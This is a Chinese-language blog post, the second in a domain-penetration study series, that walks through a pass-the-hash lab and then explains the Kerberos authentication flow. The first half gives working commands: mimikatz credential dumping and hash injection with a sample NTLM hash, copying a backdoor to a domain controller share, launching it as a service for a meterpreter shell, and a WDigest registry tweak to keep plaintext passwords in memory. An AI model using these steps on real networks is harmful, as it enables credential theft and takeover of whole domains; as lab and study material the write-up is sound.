域渗透基础学习(哈希传递攻击)(2)

Hello World

之前的域渗透学习(1)大致讲解了域的作用以及mimikatz的基础使用。
接下来我们深入学习Kerberos协议以及mimikatz以及其他工具的使用

哈希传递(Pass The Hash)攻击

攻击原理

之前我们说到命令:

mimikatz # sekurlsa::msv

可以抓去Windows机器里面的NTML凭证,攻击者可以利用域管理员或者本地管理员的NTML去伪造身份而不需要花时间去破解密码(只需要NTML和用户名就能通过验证)

主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系统,则使用LM Hash对用户密码进行验证。但是,当密码大于等于15位时,就无法使用 LM Hash了。从 Windows Vista和 Windows Server2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsa LogonUser)转换成散列值。不过,攻击者在获得密码散列值之后,依阳可以使用哈希传递攻击来模拟用户进行认证。

就相当于一个网站把密码AES加密后发给后端验证,我们并不需要知道密码原文,只需要知道加密后的密码然后抓包发送至后端即可

攻击流程

  • 1.获得一台域主机的权限
  • 2.Dump内存获得用户hash
  • 3.通过pass the hash尝试登录其他主机
  • 4.继续搜集hash并尝试远程登录
  • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

前提:被控机管理员权限(想要拿到管理员NTML必须要管理员权限)

使用mimikatz获取管理员的NTML HASH

privilege::debug
sekurlsa::logonpasswords

虽然下面拿到了明文密码,但是我们是要模拟拿不到明文密码,只能拿到哈希值的情况,同时也要拿到用户名和域名,因为命令有这两个参数。
image.png

首先先dir一下域控制器的c盘,看看有没有权限。

image.png

然后将获得的哈希值注入lsass进程中。

privilege::debug  //首先要提权,先前提过而不需要再提权
sekurlsa::pth /user:administrator /domain:g1ts /ntlm:ad5a870327c02f83cb947af6a94a4c23

image.png

当此命令正确输入后就会弹出一个cmd。

1634449441_616bb8218c44ac191ef2b.png!small?1634449441989

使用此cmddir一下与控制器的c盘。

image.png

既然我们拿到了域管理员的权限,我们可以进一步扩大战果,将后门上传到域控上。

copy hack.exe \winser2016\c$

image.png

然后在msf设置监听,然后在域控创建服务启动后门。

//在域控上创建服务启动木马
//sc \[computer's name.domain name] create [service name] binpath="[file path]"
sc \winser2016.g1ts.com create update binpath= "c:\hack.exe"
// 在域控上立即启动该服务
sc \winser2016.g1ts.com start update
// 在域控上立即删除该服务
sc \winser2016.g1ts.com delete update

meterpreter返回成功,而且为System权限。

image.png

虽然会显示错误,

image.png

但是很快就断连。

image.png

再试一次,这次迁移进程。

image.png

注意:
微软在2014年5月发布了KB2871997。该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用PsExec、WMI、smbexec、schtasks、at,也无法访问远程主机的文件共享等。

在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997的影响。在实际网络维护中特别要注意这一点。

在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击。

Kerberos协议

什么是Kerberos协议

Kerberos 是一种网络身份验证协议,设计目标是在不安全的网络环境中(如互联网或企业内网),让客户端和服务端能够相互验证彼此身份,且不传输明文密码。它由 MIT 开发,现已成为 Windows Active Directory(AD)域环境中的默认认证协议,也广泛用于 Unix/Linux、Hadoop、数据库等系统。

Kerberos协议特点

  1. 双向认证(Mutual Authentication)

    • 客户端确认服务是合法的。
    • 服务确认客户端是合法的。
  2. 避免明文密码传输

    • 密码从不通过网络发送。
  3. 防止重放攻击(Replay Attack)

    • 使用时间戳 + 票据有效期。
  4. 支持单点登录(SSO)

    • 用户登录一次,即可访问多个服务(如文件服务器、邮件、数据库)。

Kerberos术语

KDC(key distribution center):密钥发放中心:
AS(authentication service):认证服务,索取credential,发放 TGT
GS(ticket granting service):票据授权服务,索取TGT,发放ST

ST(service ticket):服务票据,由KDC的TGS发放,任何一个应用(application)都需要一张有效的服务票据才能访问;如果能正确接受ST,说明client和server之间的信任关系已经被建立,通常为一张数字加密的证书。

TGT(ticket granting ticket):票据授权票据,由KDC的AS发放;获得这样一张票据后,以后申请其他应用的服务票据(ST)时,就不需要向KDC提交身份认证信息(credential),TGT具有一定的有效期,就像是kerberos进行kinit以后只是具有固定时间的有效期,需要不断的去renew来续约。

上面几个术语简单说下它们的关系:KDC由AS和TGS组成,AS进行身份认证发放TGT,TGT是用来避免多次请求而需要重复认证的凭证;TGS发放ST,ST用来访问某个service时的凭证,ST相当于告诉service你的身份被KDC认证为合法的一个凭证。可以参考Kerberos原理中所画的图来理解这些术语。

Authenticator:验证器,与票据结合用来证明提交票据的user就是其所声明的身份,内容包括{user, address, start_time, lifetime},这些内容使用user和service之间的session key加密;验证器是user客户端自己构建,只能“被使用一次”。

Kerberos认证流程

反正都是登录,直接账号密码不就好了?为什么要Kerberos?
Kerberos设置是为了在不安全的网络环境下也能进行身份验证,包括数据包被修改,插入拦截等

举例来说,有A,B,C三个服务器,分别提供不同的服务,user要访问ABC都需要输入用户名密码,但是ABC没必要都存一份user的密码,所以就衍生出一个中央服务器D来专门存储用户名密码;如果user通过了D的认证,那就是合法的身份,就可以使用ABC任何一个服务,所以user需要告诉ABC它通过了D的认证。如何证明这个事情,以及信息在网络传输过程如何防止被截获篡改而假冒等等,解决这些问题就靠Kerberos。

我们来看看Kerberos的认证流程就知道他为什么能在不安全的网络环境下进行验证了

image.png

接下来我们挨个讲一下Kerberos协议的过程

客户端和AS

  1. 客户端向AS以明文的形式发送请求,请求中包含用户名和服务名称以及一些其他身份验证信息到AS
  2. AS接收请求后,为了验证这一请求,通过客户端提供的用户名查询kerberos数据库获取该用户的密钥。如果数据库中没有该用户,则是认证失败,服务结束。
  3. 如果存在该用户名,则认为该用户存在,不会认证是否可靠,返回相应信息给客户端,包含的内容如下:
    • 票据授权票(TGT):客户端需要使用TGTTGS获取访问网络服务所需的TicketTGT中包含了用户名客户端IP地址票据发放时间和过期时间,会话密钥SessionKey等。整个TGT通过了TGS的密钥进行了加密,客户端无法进行解密。
    • 客户端与TGS通信的会话密钥(SessionKey),客户端访问的TGS的名称和时间戳等,这部分内容由KDC使用客户端的密钥进行加密,这部分密钥也已经提前存储在了数据库中,无需进行网络传输。

客户端与TGS

4.当客户端接收到AS的相应后,会获取主要的两部分内容,客户端通过自身的密钥(一般是密码)将会话密钥TGS信息、时间戳这部分解密出来,根据时间戳判断消息的间隔性是否超过了容忍时间阈值(一般是几分钟),如果大于这个时间则认为该AS是伪造的,会确认为认证失败,以此来防止防重放攻击。否则准备向TGS发起请求。

5.向TGS请求的最终结果和目的是获取到访问目标网络服务的Ticket,这部分的通信内容如下:

  1. 客户端通过SessionKey加密自身的身份信息包括用户名、IP、时间戳等发送给TGS

  2. 客户端指定它希望访问的服务名称,将服务名称发送给TGS

  3. 客户端将得到的TGT原封不动直接发送给TGS
    6.7.8.TGS操作如下:

  4. TGS收到了客户端的请求后,根据客户端要访问的服务从kerberos中查看是否存在可以被客户端访问的服务,不存在则结束验证。

  5. TGS使用自身的密钥对TGT进行解密,得到AS认证的客户端信息和时间戳、SessionKey等信息,会进行时间戳的判断,是否超过时间阈值,如果超过则认证结束。

  6. TGS通过SessionKey对客户端发送的加密信息进行解密,取出客户端的个人信息和TGT中得到的用户信息进行比对,一致则通过客户端身份的验证。

  7. 客户端身份认证通过后,TGS返回响应给客户端,包含的内容如下:

    • 访问服务器对应网络服务的票据Ticket,里面包含了客户端的名称、IP、服务端IP、时间戳以及客户端与服务端通信的第二个SessionKey等,这部分通过服务端的密码进行加密。
    • 利用第一次客户端得到的SessionKey加密第二个SessionKey、时间戳、服务票据Ticket有效时间等。

客户端与服务端

9.10.客户端接受到TGS的相应信息后,利用缓存的第一次SessionKey解密返回的第二部分的内容,检查时间戳和有效时间无误后向服务端发起请求,发起请求的内容如下:

  1. 使用第二次的SessionKey将自己的用户信息和时间戳等加密发送给服务器
  2. TGS拿到的服务票据Ticket原封不动的发送给服务端

11.12.服务端在接受到客户端的请求后,如下:

  1. 使用自身的密码解密拿到的服务票据Ticket,核对时间戳和有效时间无误后将第二次SessionKey取出,对客户端发送的个人信息进行解密,获得客户端的信息,将客户端的信息与Ticket中获取的用户信息进行比对,比对一致则确定是经过了KDC认证的客户端。服务端则通过第二次的SessionKey加密的请求响应信息给客户端。

客户端接收到请求之后,使用缓存的第二次SessionKey对响应信息进行解密,至此完成了全部的通信内容。

posted @ 2025-12-05 11:36  Rycarl  阅读(0)  评论(0)    收藏  举报